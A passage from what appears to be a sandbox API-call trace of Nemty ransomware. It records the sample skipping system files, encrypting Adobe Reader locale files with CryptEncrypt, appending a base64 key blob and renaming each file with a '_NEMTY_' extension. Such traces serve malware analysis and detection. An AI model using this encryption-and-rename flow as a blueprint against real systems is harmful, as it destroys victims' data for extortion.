(lpString1="IA32.EUQ", lpString2="boot.ini") returned 1 [0176.129] lstrcmpiW (lpString1="IA32.EUQ", lpString2="AUTOEXEC.BAT") returned 1 [0176.129] lstrcmpiW (lpString1="IA32.EUQ", lpString2="ntuser.dat") returned -1 [0176.129] lstrcmpiW (lpString1="IA32.EUQ", lpString2="desktop.ini") returned 1 [0176.129] lstrcmpiW (lpString1="IA32.EUQ", lpString2="CONFIG.SYS") returned 1 [0176.129] lstrcmpiW (lpString1="IA32.EUQ", lpString2="RECYCLER") returned -1 [0176.129] lstrcmpiW (lpString1="IA32.EUQ", lpString2="BOOTSECT.BAK") returned 1 [0176.129] lstrcmpiW (lpString1="IA32.EUQ", lpString2="bootmgr") returned 1 [0176.129] lstrcmpiW (lpString1="IA32.EUQ", lpString2="programdata") returned -1 [0176.129] lstrcmpiW (lpString1="IA32.EUQ", lpString2="appdata") returned 1 [0176.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.129] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.EUQ", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0176.129] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.EUQ", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.EUQ", lpUsedDefaultChar=0x0) returned 8 [0176.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.129] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.EUQ", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0176.129] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.EUQ", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.EUQ", lpUsedDefaultChar=0x0) returned 8 [0176.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.129] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.EUQ", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0176.129] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.EUQ", cchWideChar=8, lpMultiByteStr=0x653e8e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.EUQ", lpUsedDefaultChar=0x0) returned 8 [0176.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.129] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.EUQ", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0176.129] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.EUQ", cchWideChar=8, lpMultiByteStr=0x653e918, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.EUQ", lpUsedDefaultChar=0x0) returned 8 [0176.129] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.129] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0176.130] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0176.130] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0176.130] Sleep (dwMilliseconds=0x5) [0176.137] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ca209d0, dwHighDateTime=0x1d561e8)) [0176.137] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ca209d0, dwHighDateTime=0x1d561e8)) [0176.137] GetLastError () returned 0x0 [0176.137] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0176.137] GetLastError () returned 0x0 [0176.137] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0176.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.138] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0176.138] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0176.138] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0176.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0176.138] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="nYEwysB03lycVhVW4dLsB6zcYjqVk5oMxYaiNlicl2M7lg4uW74De/nw1x7YpWpv\r\nTYNF4KDNoRW8PNYcxWbxJWoD+jlm4eSQbiAFJ+xS9TnyRqdP+gmK501HnD4KExsZ\r\nnhW3dMFzsHorKHrOkrm759TCMcPgNpCU2TFv8QzDXT26tZkIgYe12tTudh0k+rwK\r\nWpdPqf/dDjPJ4PzrmpI/hk5y5SDWlib1y9SIxhiv0tV/ZYHWaC+kVJ8GULxrhz2r\r\nFyYB15SZRoAKxW9nXSGjbrVlK804PmF0kw5FGOIROJU9xT9MulJYbm2HFTqNmrse\r\nKsbBXeXzcahcGUDDLRc8DQ==\r\n", pcchString=0x653e5dc) returned 1 [0176.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0176.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0176.138] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0176.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0176.138] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0176.138] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\IA32.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\ia32.euq"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0176.139] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=3584) returned 1 [0176.139] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe00) returned 0x634ad48 [0176.139] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.139] ReadFile (in: hFile=0x2e8, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xe00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e824*=0xe00, lpOverlapped=0x0) returned 1 [0176.141] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.141] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xe00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e81c*=0xe00, lpOverlapped=0x0) returned 1 [0176.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0176.141] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=3584, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe00 [0176.141] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0176.141] CloseHandle (hObject=0x2e8) returned 1 [0176.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0176.141] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0176.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.141] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0176.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0176.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0176.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0176.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.141] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\IA32.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\ia32.euq"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\IA32.EUQ._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\ia32.euq._nemty_kgobjgd_")) returned 1 [0176.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0176.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0176.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0176.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0176.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0176.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0176.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0176.142] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="makeaccessible.EUQ", cAlternateFileName="MAKEAC~1.EUQ")) returned 1 [0176.142] lstrcmpiW (lpString1="makeaccessible.EUQ", lpString2=".") returned 1 [0176.142] lstrcmpiW (lpString1="makeaccessible.EUQ", lpString2="..") returned 1 [0176.142] lstrcmpiW (lpString1="makeaccessible.EUQ", lpString2="...") returned 1 [0176.142] lstrcmpiW (lpString1="makeaccessible.EUQ", lpString2="windows") returned -1 [0176.142] lstrcmpiW (lpString1="makeaccessible.EUQ", lpString2="$RECYCLE.BIN") returned 1 [0176.142] lstrcmpiW (lpString1="makeaccessible.EUQ", lpString2="rsa") returned -1 [0176.142] lstrcmpiW (lpString1="makeaccessible.EUQ", lpString2="NTDETECT.COM") returned -1 [0176.142] lstrcmpiW (lpString1="makeaccessible.EUQ", lpString2="ntldr") returned -1 [0176.142] lstrcmpiW (lpString1="makeaccessible.EUQ", lpString2="MSDOS.SYS") returned -1 [0176.142] lstrcmpiW (lpString1="makeaccessible.EUQ", lpString2="IO.SYS") returned 1 [0176.142] lstrcmpiW (lpString1="makeaccessible.EUQ", lpString2="boot.ini") returned 1 [0176.142] lstrcmpiW (lpString1="makeaccessible.EUQ", lpString2="boot.ini") returned 1 [0176.142] lstrcmpiW (lpString1="makeaccessible.EUQ", lpString2="AUTOEXEC.BAT") returned 1 [0176.142] lstrcmpiW (lpString1="makeaccessible.EUQ", lpString2="ntuser.dat") returned -1 [0176.142] lstrcmpiW (lpString1="makeaccessible.EUQ", lpString2="desktop.ini") returned 1 [0176.142] lstrcmpiW (lpString1="makeaccessible.EUQ", lpString2="CONFIG.SYS") returned 1 [0176.142] lstrcmpiW (lpString1="makeaccessible.EUQ", lpString2="RECYCLER") returned -1 [0176.143] lstrcmpiW (lpString1="makeaccessible.EUQ", lpString2="BOOTSECT.BAK") returned 1 [0176.143] lstrcmpiW (lpString1="makeaccessible.EUQ", lpString2="bootmgr") returned 1 [0176.143] lstrcmpiW (lpString1="makeaccessible.EUQ", lpString2="programdata") returned -1 [0176.143] lstrcmpiW (lpString1="makeaccessible.EUQ", lpString2="appdata") returned 1 [0176.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0176.143] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.EUQ", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0176.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.143] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.EUQ", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.EUQ", lpUsedDefaultChar=0x0) returned 18 [0176.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0176.143] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.EUQ", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0176.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.143] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.EUQ", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.EUQ", lpUsedDefaultChar=0x0) returned 18 [0176.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0176.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0176.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0176.143] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.EUQ", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0176.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.143] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.EUQ", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.EUQ", lpUsedDefaultChar=0x0) returned 18 [0176.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0176.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0176.143] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.EUQ", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0176.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.143] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.EUQ", cchWideChar=18, lpMultiByteStr=0x4f9ed58, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.EUQ", lpUsedDefaultChar=0x0) returned 18 [0176.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0176.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0176.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0176.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0176.143] Sleep (dwMilliseconds=0x5) [0176.153] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ca46b30, dwHighDateTime=0x1d561e8)) [0176.153] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ca46b30, dwHighDateTime=0x1d561e8)) [0176.153] GetLastError () returned 0x0 [0176.153] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0176.153] GetLastError () returned 0x0 [0176.153] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.153] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0176.153] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0176.153] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0176.153] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0176.153] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0176.153] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0176.153] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="WRqGQRMxoqluSU42/cnO/EdxbODQkJUTIULEaHZuisbfUtN65E7cXUikiZZPmgY6\r\n0sj/rG+fyKmnakJzq3x58RxTMzepinIQToNPZyVx7+PkQRzXT/BTQqvxZvp4XbLp\r\namC0eOrcbGAa3QXm8njT7xaOhjnHGI+WdeYppgBQwZMB/r/I1FYQuSbhfvb0zUBo\r\nMA36W1ylWizPZO+Ytp4BCCDLCkVInPqIfZGFWue4yXgpCib5iymRrBSNWP8WFy50\r\nJEkY1BOpdnyOSOLyQxGFyXxyWPsb4YGe3l64HhIqQxpRnpB8TwOzPZ2HoXYglIDU\r\n3SzscTrcYH1Jduu3h0M0OQ==\r\n", pcchString=0x653e5dc) returned 1 [0176.153] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0176.153] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0176.154] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0176.154] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0176.154] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0176.154] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0176.154] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\makeaccessible.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\makeaccessible.euq"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0176.154] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=77312) returned 1 [0176.154] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x12e00) returned 0x6352c48 [0176.154] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.154] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x12e00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x12e00, lpOverlapped=0x0) returned 1 [0176.161] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.161] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x12e00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x12e00, lpOverlapped=0x0) returned 1 [0176.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0176.161] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=77312, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x12e00 [0176.161] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0176.161] CloseHandle (hObject=0x2e8) returned 1 [0176.161] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0176.161] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0176.161] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0176.161] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0176.161] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0176.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0176.161] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340308 [0176.161] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403c0 [0176.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0176.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0176.162] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\makeaccessible.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\makeaccessible.euq"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\makeaccessible.EUQ._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\makeaccessible.euq._nemty_kgobjgd_")) returned 1 [0176.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403c0 | out: hHeap=0x4f90000) returned 1 [0176.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0176.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0176.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0176.162] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0176.162] HeapFree 